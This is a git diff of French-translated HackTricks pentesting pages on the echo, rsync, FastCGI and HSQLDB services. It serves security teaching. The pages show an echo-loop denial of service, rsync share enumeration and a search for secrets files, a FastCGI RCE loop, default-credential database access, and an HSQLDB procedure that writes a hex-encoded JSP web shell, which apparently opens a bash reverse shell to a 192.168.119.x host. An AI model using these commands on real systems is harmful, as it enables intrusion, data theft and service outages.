* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -20,11 +21,12 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
***
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
Un service d'écho fonctionne sur cet hôte. Le service d'écho était destiné à des fins de test et de mesure et peut écouter à la fois sur les protocoles TCP et UDP. Le serveur renvoie toutes les données qu'il reçoit, sans les modifier.\
|
||||
**Il est possible de provoquer un déni de service en connectant un service d'écho au service d'écho sur la même machine ou sur une autre**. En raison du nombre excessivement élevé de paquets produits, les machines affectées peuvent être efficacement mis hors service.\
|
||||
Informations provenant de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
Un service d'écho fonctionne sur cet hôte. Le service d'écho était destiné à des fins de test et de mesure et peut écouter à la fois sur les protocoles TCP et UDP. Le serveur renvoie toutes les données qu'il reçoit, sans modification.\
|
||||
**Il est possible de provoquer un déni de service en connectant un service d'écho au service d'écho sur la même machine ou une autre**. En raison du nombre excessivement élevé de paquets produits, les machines affectées peuvent être effectivement mises hors service.\
|
||||
Info de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Port par défaut :** 7/tcp/udp
|
||||
```
|
||||
|
@ -55,16 +57,17 @@ Hello echo #This is the response
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,34 @@
|
|||
# 873 - Pentesting Rsync
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Informations de base**
|
||||
|
||||
D'après [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** est un utilitaire pour [transférer](https://en.wikipedia.org/wiki/File\_transfer) et [synchroniser](https://en.wikipedia.org/wiki/File\_synchronization) efficacement des [fichiers](https://en.wikipedia.org/wiki/Computer\_file) entre un ordinateur et un disque dur externe et entre des [ordinateurs](https://en.wikipedia.org/wiki/Computer) en réseau en comparant les [horodatages de modification](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) et les tailles des fichiers.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) On le trouve couramment sur les [systèmes d'exploitation](https://en.wikipedia.org/wiki/Operating\_system) de type [Unix-like](https://en.wikipedia.org/wiki/Unix-like). L'algorithme rsync est un type de [codage delta](https://en.wikipedia.org/wiki/Delta\_encoding) et est utilisé pour minimiser l'utilisation du réseau. [Zlib](https://en.wikipedia.org/wiki/Zlib) peut être utilisé pour une [compression de données](https://en.wikipedia.org/wiki/Data\_compression) supplémentaire,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) et [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) peuvent être utilisés pour la sécurité.
|
||||
> **rsync** est un utilitaire pour transférer efficacement [transferring](https://en.wikipedia.org/wiki/File\_transfer) et [synchroniser](https://en.wikipedia.org/wiki/File\_synchronization) des [fichiers](https://en.wikipedia.org/wiki/Computer\_file) entre un ordinateur et un disque dur externe et à travers des [ordinateurs](https://en.wikipedia.org/wiki/Computer) [réseau](https://en.wikipedia.org/wiki/Computer\_network) en comparant les [temps de modification](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) et les tailles des fichiers.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Il est couramment trouvé sur des [systèmes d'exploitation](https://en.wikipedia.org/wiki/Operating\_system) [de type Unix](https://en.wikipedia.org/wiki/Unix-like). L'algorithme rsync est un type de [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), et est utilisé pour minimiser l'utilisation du réseau. [Zlib](https://en.wikipedia.org/wiki/Zlib) peut être utilisé pour une [compression de données](https://en.wikipedia.org/wiki/Data\_compression) supplémentaire,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) et [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) peuvent être utilisés pour la sécurité.
|
||||
|
||||
**Port par défaut:** 873
|
||||
**Port par défaut :** 873
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
873/tcp open rsync syn-ack
|
||||
```
|
||||
## Énumération
|
||||
|
||||
### Bannière & Communication manuelle
|
||||
### Bannières et communication manuelle
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
|
@ -49,7 +50,7 @@ nc -vn 127.0.0.1 873
|
|||
raidroot
|
||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||
```
|
||||
### **Énumération des dossiers partagés**
|
||||
### **Énumération des Dossiers Partagés**
|
||||
|
||||
Les **modules Rsync** sont reconnus comme des **partages de répertoires** qui pourraient être **protégés par des mots de passe**. Pour identifier les modules disponibles et vérifier s'ils nécessitent des mots de passe, les commandes suivantes sont utilisées :
|
||||
```bash
|
||||
|
@ -59,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
|||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Soyez conscient que certaines partages pourraient ne pas apparaître dans la liste, les cachant éventuellement. De plus, l'accès à certains partages pourrait être restreint à des **identifiants** spécifiques, comme indiqué par un message **"Accès refusé"**.
|
||||
Soyez conscient que certains partages pourraient ne pas apparaître dans la liste, les cachant éventuellement. De plus, l'accès à certains partages pourrait être restreint à des **identifiants** spécifiques, indiqué par un message **"Accès refusé"**.
|
||||
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
|
||||
### Utilisation Manuelle de Rsync
|
||||
### Utilisation manuelle de Rsync
|
||||
|
||||
Après avoir obtenu une liste de **modules**, les actions dépendent de la nécessité d'authentification. Sans authentification, **lister** et **copier** des fichiers depuis un dossier partagé vers un répertoire local est réalisé en utilisant :
|
||||
Après avoir obtenu une **liste de modules**, les actions dépendent de la nécessité d'authentification. Sans authentification, **lister** et **copier** des fichiers d'un dossier partagé vers un répertoire local se fait par :
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
|
@ -73,9 +74,9 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
|
|||
# Copying files from a shared folder
|
||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
Ce processus **transfère de manière récursive des fichiers**, en préservant leurs attributs et permissions.
|
||||
Ce processus **transfère des fichiers de manière récursive**, préservant leurs attributs et permissions.
|
||||
|
||||
Avec des **identifiants**, la liste et le téléchargement depuis un dossier partagé peuvent être effectués comme suit, où une invite de mot de passe apparaîtra :
|
||||
Avec **des identifiants**, l'énumération et le téléchargement depuis un dossier partagé peuvent être effectués comme suit, où une invite de mot de passe apparaîtra :
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
|
@ -90,22 +91,22 @@ Pour localiser le fichier de configuration rsyncd, exécutez :
|
|||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
Dans ce fichier, un paramètre _secrets file_ pourrait pointer vers un fichier contenant **des noms d'utilisateur et des mots de passe** pour l'authentification rsyncd.
|
||||
|
||||
Dans ce fichier, un paramètre _secrets file_ peut pointer vers un fichier contenant **noms d'utilisateur et mots de passe** pour l'authentification rsyncd.
|
||||
|
||||
## Références
|
||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
@ -21,7 +22,7 @@ Si vous voulez **apprendre ce qu'est FastCGI**, consultez la page suivante :
|
|||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Par défaut, **FastCGI** s'exécute sur le **port** **9000** et n'est pas reconnu par nmap. **Généralement**, FastCGI n'écoute que sur **localhost**.
|
||||
Par défaut, **FastCGI** fonctionne sur le **port** **9000** et n'est pas reconnu par nmap. **Généralement**, FastCGI n'écoute que sur **localhost**.
|
||||
|
||||
# RCE
|
||||
|
||||
|
@ -45,19 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
|||
cat $OUTPUT
|
||||
done
|
||||
```
|
||||
ou pouvez également utiliser le script Python suivant : [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
ou vous pouvez également utiliser le script python suivant : [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** est le principal système de base de données relationnelle SQL écrit en Java. Il offre un moteur de base de données petit, rapide, multithread et transactionnel avec des tables en mémoire et sur disque, et prend en charge les modes embarqué et serveur.
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** est le principal système de base de données relationnelle SQL écrit en Java. Il offre un moteur de base de données multithreadé et transactionnel, rapide et léger, avec des tables en mémoire et sur disque, et prend en charge les modes embarqué et serveur.
|
||||
|
||||
**Port par défaut :** 9001
|
||||
```text
|
||||
|
@ -25,7 +26,7 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
### Paramètres par défaut
|
||||
|
||||
Notez que par défaut, ce service fonctionne probablement en mémoire ou est lié à localhost. Si vous l'avez trouvé, vous avez probablement exploité un autre service et cherchez à escalader les privilèges.
|
||||
Notez qu'en règle générale, ce service fonctionne probablement en mémoire ou est lié à localhost. Si vous l'avez trouvé, vous avez probablement exploité un autre service et cherchez à élever vos privilèges.
|
||||
|
||||
Les identifiants par défaut sont généralement `sa` avec un mot de passe vide.
|
||||
|
||||
|
@ -35,23 +36,23 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
|||
```
|
||||
Notez soigneusement le nom de la base de données - vous en aurez besoin pour vous connecter.
|
||||
|
||||
# Collecte d'informations
|
||||
# Info Gathering
|
||||
|
||||
Connectez-vous à l'instance de la base de données en [téléchargeant HSQLDB](https://sourceforge.net/projects/hsqldb/files/) et en extrayant `hsqldb/lib/hsqldb.jar`. Exécutez l'application GUI \(beurk\) en utilisant `java -jar hsqldb.jar` et connectez-vous à l'instance en utilisant les identifiants découverts/faibles.
|
||||
Connectez-vous à l'instance de la base de données en [téléchargeant HSQLDB](https://sourceforge.net/projects/hsqldb/files/) et en extrayant `hsqldb/lib/hsqldb.jar`. Exécutez l'application GUI \(eww\) en utilisant `java -jar hsqldb.jar` et connectez-vous à l'instance en utilisant les identifiants découverts/faibles.
|
||||
|
||||
Notez que l'URL de connexion ressemblera à ceci pour un système distant : `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
|
||||
# Astuces
|
||||
# Tricks
|
||||
|
||||
## Routinnes de langage Java
|
||||
## Java Language Routines
|
||||
|
||||
Nous pouvons appeler des méthodes statiques d'une classe Java depuis HSQLDB en utilisant des Routinnes de Langage Java. Notez que la classe appelée doit être dans le chemin de classe de l'application.
|
||||
Nous pouvons appeler des méthodes statiques d'une classe Java depuis HSQLDB en utilisant des Java Language Routines. Notez que la classe appelée doit être dans le classpath de l'application.
|
||||
|
||||
Les JRT peuvent être des `fonctions` ou des `procédures`. Les fonctions peuvent être appelées via des instructions SQL si la méthode Java renvoie une ou plusieurs variables primitives compatibles avec SQL. Elles sont invoquées en utilisant l'instruction `VALUES`.
|
||||
Les JRT peuvent être des `functions` ou des `procedures`. Les fonctions peuvent être appelées via des instructions SQL si la méthode Java retourne une ou plusieurs variables primitives compatibles SQL. Elles sont invoquées en utilisant l'instruction `VALUES`.
|
||||
|
||||
Si la méthode Java que nous voulons appeler renvoie void, nous devons utiliser une procédure invoquée avec l'instruction `CALL`.
|
||||
Si la méthode Java que nous voulons appeler retourne void, nous devons utiliser une procédure invoquée avec l'instruction `CALL`.
|
||||
|
||||
## Lecture des propriétés système Java
|
||||
## Reading Java System Properties
|
||||
|
||||
Créer une fonction :
|
||||
```text
|
||||
|
@ -65,9 +66,9 @@ VALUES(getsystemproperty('user.name'))
|
|||
```
|
||||
Vous pouvez trouver une [liste des propriétés système ici](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||||
|
||||
## Écrire du Contenu dans un Fichier
|
||||
## Écrire du contenu dans un fichier
|
||||
|
||||
Vous pouvez utiliser le gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` situé dans le JDK \(chargé automatiquement dans le chemin de classe de l'application\) pour écrire des éléments encodés en hexadécimal sur le disque via une procédure personnalisée. **Notez la taille maximale de 1024 octets**.
|
||||
Vous pouvez utiliser le `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget Java situé dans le JDK \(chargé automatiquement dans le chemin de classe de l'application\) pour écrire des éléments encodés en hexadécimal sur le disque via une procédure personnalisée. **Notez la taille maximale de 1024 octets**.
|
||||
|
||||
Créer une procédure :
|
||||
```text
|
||||
|
@ -79,16 +80,17 @@ Exécuter la procédure :
|
|||
```text
|
||||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
